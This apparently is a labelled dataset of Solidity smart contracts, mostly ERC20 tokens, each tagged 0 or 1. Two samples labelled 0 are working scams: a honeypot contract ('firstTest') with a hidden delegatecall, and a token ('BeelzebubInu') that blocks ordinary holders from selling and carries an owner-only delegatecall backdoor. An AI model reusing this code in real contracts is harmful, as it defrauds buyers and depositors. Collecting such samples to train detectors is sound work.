pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract SIBU is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function SIBU() public { symbol = "SIBU"; name = "SIBU"; decimals = 2; _totalSupply = 7600000000; balances[0xE10b5Df565a260ed1E58d45F1d3A63bF2BC3c840] = _totalSupply; Transfer(address(0), 0xE10b5Df565a260ed1E58d45F1d3A63bF2BC3c840, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
1
3,307
pragma solidity ^0.4.24; contract hodlEthereum { event Hodl(address indexed hodler, uint indexed amount); event Party(address indexed hodler, uint indexed amount); mapping (address => uint) public hodlers; uint constant partyTime = 1535760000; function hodl() payable public { hodlers[msg.sender] += msg.value; emit Hodl(msg.sender, msg.value); } function party() public { require (block.timestamp > partyTime && hodlers[msg.sender] > 0); uint value = hodlers[msg.sender]; hodlers[msg.sender] = 0; msg.sender.transfer(value); emit Party(msg.sender, value); } }
1
4,816
pragma solidity ^0.4.11; contract firstTest { address Owner = 0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b; address emails = 0x25df6e3da49f41ef5b99e139c87abc12c3583d13; address adr; uint256 public Limit= 1000000000000000000; function Set(address dataBase, uint256 limit) { require(msg.sender == Owner); Limit = limit; emails = dataBase; } function changeOwner(address adr){ } function()payable{ withdrawal(); } function kill() { require(msg.sender == Owner); selfdestruct(msg.sender); } function withdrawal() payable public { adr=msg.sender; if(msg.value>Limit) { emails.delegatecall(bytes4(sha3("logEvent()"))); adr.send(this.balance); } } }
0
172
pragma solidity ^0.4.11; library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract RKCToken is StandardToken, Ownable { using SafeMath for uint; string public name = "Royal Kingdom Coin"; string public symbol = "RKC"; uint public decimals = 18; bool public constant TEST_MODE = false; uint public constant atto = 1000000000000000000; uint public constant INITIAL_SUPPLY = 15000000 * atto; address public teamWallet = 0xb79F963f200f85D0e3dD60C82ABB8F80b5869CB9; address public ico_address = 0x1c01C01C01C01c01C01c01c01c01C01c01c01c01; uint public constant ICO_START_TIME = 1499810400; uint public current_supply = 0; uint public ico_starting_supply = 0; uint public current_price_atto_tokens_per_wei = 0; bool public preSoldSharesDistributed = false; bool public isICOOpened = false; bool public isICOClosed = false; uint[] public premiumPacks; mapping(address => uint) premiumPacksPaid; event ICOOpened(); event ICOClosed(); event PriceChanged(uint old_price, uint new_price); event SupplyChanged(uint supply, uint old_supply); event RKCAcquired(address account, uint amount_in_wei, uint amount_in_rkc); function RKCToken() { distributePreSoldShares(); current_price_atto_tokens_per_wei = calculateCurrentPrice(1); premiumPacks.length = 0; } function () payable { buy(); } function buy() payable { if (msg.value == 0) throw; if (!isICOOpened) throw; if (isICOClosed) throw; uint tokens = getAttoTokensAmountPerWeiInternal(msg.value); uint allowedInOneTransaction = current_supply / 100; if (tokens > allowedInOneTransaction) throw; if (tokens > balances[ico_address]) throw; balances[ico_address] = balances[ico_address].sub(tokens); balances[msg.sender] = balances[msg.sender].add(tokens); uint old_price = current_price_atto_tokens_per_wei; current_price_atto_tokens_per_wei = calculateCurrentPrice(getAttoTokensBoughtInICO()); if (current_price_atto_tokens_per_wei == 0) current_price_atto_tokens_per_wei = 1; if (current_price_atto_tokens_per_wei > old_price) current_price_atto_tokens_per_wei = old_price; if (old_price != current_price_atto_tokens_per_wei) PriceChanged(old_price, current_price_atto_tokens_per_wei); RKCAcquired(msg.sender, msg.value, tokens); } function calculateCurrentPrice(uint attoTokensBought) constant returns (uint result) { return (395500000 / ((attoTokensBought / atto) + 150000)).sub(136); } function openICO() onlyOwner { if (isICOOpened) throw; if (isICOClosed) throw; isICOOpened = true; ICOOpened(); } function closeICO() onlyOwner { if (isICOClosed) throw; if (!isICOOpened) throw; isICOOpened = false; isICOClosed = true; premiumPacks.length = 1; premiumPacks[0] = balances[ico_address]; balances[ico_address] = 0; ICOClosed(); } function pullEtherFromContract() onlyOwner { if (!isICOClosed) throw; if (!teamWallet.send(this.balance)) { throw; } } function distributePreSoldShares() onlyOwner { if (preSoldSharesDistributed) throw; preSoldSharesDistributed = true; balances[0x7A3c869603E28b0242c129440c9dD97F8A5bEe80] = 7508811 * atto; balances[0x24a541dEAe0Fc87C990A208DE28a293fb2A982d9] = 4025712 * atto; balances[0xEcF843458e76052E6363fFb78C7535Cd87AA3AB2] = 300275 * atto; balances[0x947963ED2da750a0712AE0BF96E08C798813F277] = 150000 * atto; balances[0x82Bc8452Ab76fBA446e16b57C080F5258F557734] = 150000 * atto; balances[0x0959Ed48d55e580BB58df6E5ee01BAa787d80848] = 90000 * atto; balances[0x530A8016fB5B3d7A0F92910b4814e383835Bd51E] = 75000 * atto; balances[0xC3e934D3ADE0Ab9F61F824a9a824462c790e47B0] = 202 * atto; current_supply = (7508811 + 4025712 + 300275 + 150000 + 150000 + 90000 + 75000 + 202) * atto; balances[ico_address] = INITIAL_SUPPLY.sub(current_supply); ico_starting_supply = balances[ico_address]; current_supply = INITIAL_SUPPLY; SupplyChanged(0, current_supply); } function getCurrentPriceAttoTokensPerWei() constant returns (uint result) { return current_price_atto_tokens_per_wei; } function getAttoTokensAmountPerWeiInternal(uint value) payable returns (uint result) { return value * current_price_atto_tokens_per_wei; } function getAttoTokensAmountPerWei(uint value) constant returns (uint result) { return value * current_price_atto_tokens_per_wei; } function getSupply() constant returns (uint result) { return current_supply; } function getAttoTokensLeftForICO() constant returns (uint result) { return balances[ico_address]; } function getAttoTokensBoughtInICO() constant returns (uint result) { return ico_starting_supply - getAttoTokensLeftForICO(); } function getBalance(address addr) constant returns (uint balance) { return balances[addr]; } function getPremiumPack(uint index) constant returns (uint premium) { return premiumPacks[index]; } function getPremiumCount() constant returns (uint length) { return premiumPacks.length; } function getBalancePremiumsPaid(address account) constant returns (uint result) { return premiumPacksPaid[account]; } function sendPremiumPack(uint amount) onlyOwner allowedPayments(msg.sender, amount) { premiumPacks.length += 1; premiumPacks[premiumPacks.length-1] = amount; balances[msg.sender] = balances[msg.sender].sub(amount); } function updatePremiums(address account) private { if (premiumPacks.length > premiumPacksPaid[account]) { uint startPackIndex = premiumPacksPaid[account]; uint finishPackIndex = premiumPacks.length - 1; for(uint i = startPackIndex; i <= finishPackIndex; i++) { if (current_supply != 0) { uint owing = balances[account] * premiumPacks[i] / current_supply; balances[account] = balances[account].add(owing); } } premiumPacksPaid[account] = premiumPacks.length; } } modifier allowedPayments(address payer, uint value) { if (isICOOpened) throw; if (!isICOClosed) throw; uint diff = 0; uint allowed = 0; if (balances[payer] > current_supply / 100) { if (block.timestamp > ICO_START_TIME) { diff = block.timestamp - ICO_START_TIME; } else { diff = ICO_START_TIME - block.timestamp; } allowed = (current_supply / 20) * (diff / (60 * 60 * 24 * 30)); if (value > allowed) throw; } _; } function transferFrom(address _from, address _to, uint _value) allowedPayments(_from, _value) { updatePremiums(_from); updatePremiums(_to); super.transferFrom(_from, _to, _value); } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) allowedPayments(msg.sender, _value) { updatePremiums(msg.sender); updatePremiums(_to); super.transfer(_to, _value); } }
1
3,793
pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 4; uint8 public constant TOKEN_DECIMALS_UINT8 = 4; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "Vietnam Real Estate Crypto"; string public constant TOKEN_SYMBOL = "BDS coin"; bool public constant PAUSED = false; address public constant TARGET_USER = 0xbCFcB0299071Dc5f22176c17C1A2A67BA315D8a8; bool public constant CONTINUE_MINTING = false; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[1] memory addresses = [address(0xbCFcB0299071Dc5f22176c17C1A2A67BA315D8a8)]; uint[1] memory amounts = [uint(10000000000000)]; uint64[1] memory freezes = [uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
1
5,335
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract BeelzebubInu{ event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
2,540
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) 